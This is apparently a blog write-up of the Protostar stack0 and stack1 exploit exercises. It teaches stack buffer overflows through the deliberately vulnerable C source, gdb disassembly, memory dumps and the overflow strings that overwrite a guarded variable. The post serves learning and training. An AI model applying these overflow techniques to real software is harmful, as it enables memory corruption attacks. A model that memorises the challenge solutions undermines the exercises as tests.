Protostar

Stack buffer Overflows — Protostar | stack0 and stack1

According to Wikipedia,

In software, a stack buffer overflow or stack buffer overrun occurs when a program writes to a memory address on the program’s call stack outside of the intended data structure, which is usually a fixed-length buffer.

Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer. This almost always results in corruption of adjacent data on the stack, and in cases where the overflow was triggered by mistake, will often cause the program to crash or operate incorrectly

To learn more, read these:

What is Protostar?

A protostar is a very young star that is still gathering mass from its parent molecular cloud. The protostellar phase is the earliest one in the process of stellar evolution; An early stage in the evolution of a star.

But that’s not what we want to exploit.

For us, protostar is the series of exploit exercises. Their website says it is a series of exercises that help you to introduce to many exploits in a friendly way.

In this article, I am gonna walk you through the stack0 and stack1 exercises.

Protostar — Stack 0

(https://exploit-exercises.lains.space/protostar/stack0/)

Code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}

Rough Explaination:

  • 2 variables are declared
  • modified variable is initialized to 0 or 0x0 (in hex)
  • buffer variable asks the user for a input string
  • Condition Check → If modified value is not 0 then it is a success else fail.

But we are not even given a chance to modify the value of modified variable, how we can change its value?

Do we have to make changes to the source code?? — No.

Let’s have a look at very basic concepts. Heaps and Stacks.

We know that all the variable and function calls are saved in stacks and heaps in some manner and those memory locations are referenced by our program to make things work.

So our modified variable is also on the stack along with buffer variable. What if we somehow overflow the buffer variable with values and some of those values overwrite the modifed variable value and make it a non zero.

There is a very old article in phrack magazine which gives a very detailed insight of how these things work together. Although this is pretty old. But the fundamentals are still approx the same.

Let’s start with our stack0 binary

Key points to get from the above output:

  • This is a executable binary not a source code.
  • This is a 32-bit binary not a 64-bit binary.
  • Setuid bit is set and the owner of the file is root. So whenever I run this program (even with the regular user), this program will run as a root user. → Read more about setuid : man setuid

Let’s spin this binary with gdb debugger for a better understanding.

gdb stack0
  • 0x0804840c <main+24>: call 0x804830c <gets@plt>
    — call gets function
    — Takes some string (char array) input
  • 0x08048417 <main+35>: je 0x8048427 <main+51>
    — Jump somewhere(0x8048427 <main+51>) if equal to some value(0x0)
  • 0x08048427 <main+51>: movl $0x8048529,(%esp)
    x/s 0x8048529 → This command will convert hex to string and print.
    — 0x8048529: “Try again?”]
  • 0x08048419 <main+37>: movl $0x8048500,(%esp)
    x/s 0x8048500
    — 0x8048500: “you have changed the ‘modified’ variable”

Here the hunt begins

  • Setup a breakpoint at main function
    break main
  • I’ll change the disassembly flavour to intel (for better view — just personal preference)
    set disassembly intel
  • check stack

starting point of stack -> 0xbffff7ac

  • identify variables declaration
    We know first variable has been declared here (esp+0x5c) which is equal to 0x0 or 0.

0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0

0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
  • same variable is used for checking the jump condition so we’ll have to modify this using buffer overflow as per the challenge.
  • set a break point for <main+29> and <main+33>
break *0x08048411
break *0x08048415
  • You can set hook-stop to get a view at every breakpoint (optional — for better review)
define hook-stop
i registers
x/24wx $esp
x/2i $eip
end
  • Now run your program and it’ll first ask for the input and then break at <main+29>

input => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (a bunch of ‘a’s)
length => 46 (keep it anything for now)

you’ll see the output of x/24wx $esp (24 32-bit words in hex starting from $esp)

0xbffff740:  0xbffff75c  0x00000001  0xb7fff8f8  0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x61616161
0xbffff760: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff770: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff780: 0x61616161 0x61616161 0x08006161 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000

Given:

esp = bffff740

And since our variable to be modified = esp+0x5c

0x5c = 92 (in decimal)

So, 92 characters away from the esp.

$esp       + 92   = our value now
0xbffff740 + 0x5c = 0xbffff79c

If we compare it with the output of x/24wx $esp,

0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000

0xbffff79c - 0xbffff790 = 12 chars

Now we know what exactly we need to overwrite (overflow)

If you are confused why the last pair is our value instead of the first pair — check out the little and big endian notations.

Another try now(this time a better calculated one)

input => aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhh
length => 64

0xbffff740: 0xbffff75c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x61616161
0xbffff760: 0x61616161 0x62626262 0x62626262 0x63636363
0xbffff770: 0x63636363 0x64646464 0x64646464 0x65656565
0xbffff780: 0x65656565 0x66666666 0x66666666 0x67676767
0xbffff790: 0x67676767 0x68686868 0x68686868 0x00000000

Here we are just a value away from overwriting our value. See the pattern in the stack of bunch of 61(a), 62(b) 63(c), and so on…

Let’s do it!!

input => aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhAA
length => 66

0xbffff740: 0xbffff75c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x61616161
0xbffff760: 0x61616161 0x62626262 0x62626262 0x63636363
0xbffff770: 0x63636363 0x64646464 0x64646464 0x65656565
0xbffff780: 0x65656565 0x66666666 0x66666666 0x67676767
0xbffff790: 0x67676767 0x68686868 0x68686868 0x00004141

It reflected on our variable memory location. Wooaah!!

Although a single extra ‘A’ could have overwritten the buffer.
Let’s try the solution in the terminal input now.

Protostar — Stack 1

(https://exploit-exercises.lains.space/protostar/stack1/)

Code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}

What is strcpy?

Go to the terminal and type man strcpy

Something more interesting… Scroll to the end.

Rough Explaination

  • declare 2 variables
  • if number of `args` (command line arguments) are equal to 1 then fail the code.
  • init modified value to 0
  • copy the cli argument value to the buffer declared
  • check for the modifed value if it is equal to 0x61626364
  • else print the fail message and exit

And the hunt begins…

  • set up a break point at begining of the main function
    break *main
  • I’ll change the disassembly flavour to intel (for better view — just personal preference)
    set disassembly intel
  • disas main
  • 0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
    — First compare for the number of arguments passed to 0x1
  • 0x08048471 <main+13>: jne 0x8048487 <main+35>
    — And if not equal then jump to <main+35>
    — Means, if the number of passed arguments is not equal to 1 then go to <main+35>
  • 0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
    — This is our variable, initializaed to 0x0 or 0
    — location = $esp+0x5c
  • Set 2 break points
break *0x080484a7
b *0x080484ab

Now we have 3 break points.

  • 1 at begining of main
  • 2 and 3 which we have just set up now

Let’s execute the code for some analysis or memory locations.

  • run the code.
  • Here the code will fail because the argc=1 .
  • So we need to pass one more value with the run command.
  • I’ll continue and then it’ll drop me to the second break point.
  • Let’s check the Register information to get a better idea of what values we are dealing with here.
eip says in am on <main+67>
I can se the ‘a’ (61) pattern again
0xbffff720: 0xbffff73c 0xbffff972 0xb7fff8f8 0xb7f0186e
0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0x61616161
0xbffff740: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff750: 0xb7ff0061 0x080496fc 0xbffff788 0x08048509
0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff788
0xbffff770: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000

Our variable => $esp+0x5c => 0x00000000

Just the same one as the previous one. But the only change here is that we need to overflow the variable with a specific values; Random values won’t work this time.

But let’s overwrite this with something random to get started.

input => aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhAAAA

Here we can see that our variable is perfectly overwritten but this is not what is demanded in the condition.

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
}

If you have basic idea about the ascii values then it will be easy for you.

a => 61
b => 62
c => 63
d => 64

so, 0x61626364 ==> dcba (because of the little endian)

And this makes our input string as,

input => aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhhdcba

Now our values in the stack matches what is asked in the condition statement. And hence we got our success message —you have correctly got the variable to the right value

What is the wait now… Let’s try this on the terminal.

Cool stuff haan…

You can try them yourself and play with the stack a bit more to learn more things. Also try to complete the next challenge yourself, It’ll be a lot easy for you now.

I’ll recommend to watch LiveOverflow youtube videos if you are completely new to this world. He has provided a very good explanation for all these concepts used in this article. Also the solutions to the protostar challenge with a wonderful explaination with a walkthrough.

--

--

--

Connecting the dots and rest is magic. https://ayedaemon.github.io/

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

The idea behind Docker and Linux containers

Azure Vs AWS: What You Need To Know

Using Docker containers to effectively test AWS Lambda

Amazon Simple Queue Service (SQS)

Do Developers Have an Unfair Advantage in this World?

Guide how to install and use ASP.net core with Docker.

Schema Patterns — MongoDB — Part 2

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Rishabh Umrao

Rishabh Umrao

Connecting the dots and rest is magic. https://ayedaemon.github.io/

More from Medium

ret2win— Rop Emporium writeups

Offensive Security Proving Grounds Walk Through “HAWordy”

Hack The Box: Fawn (very easy)

Monitoring multiple AKS Clusters using a single Thanos instance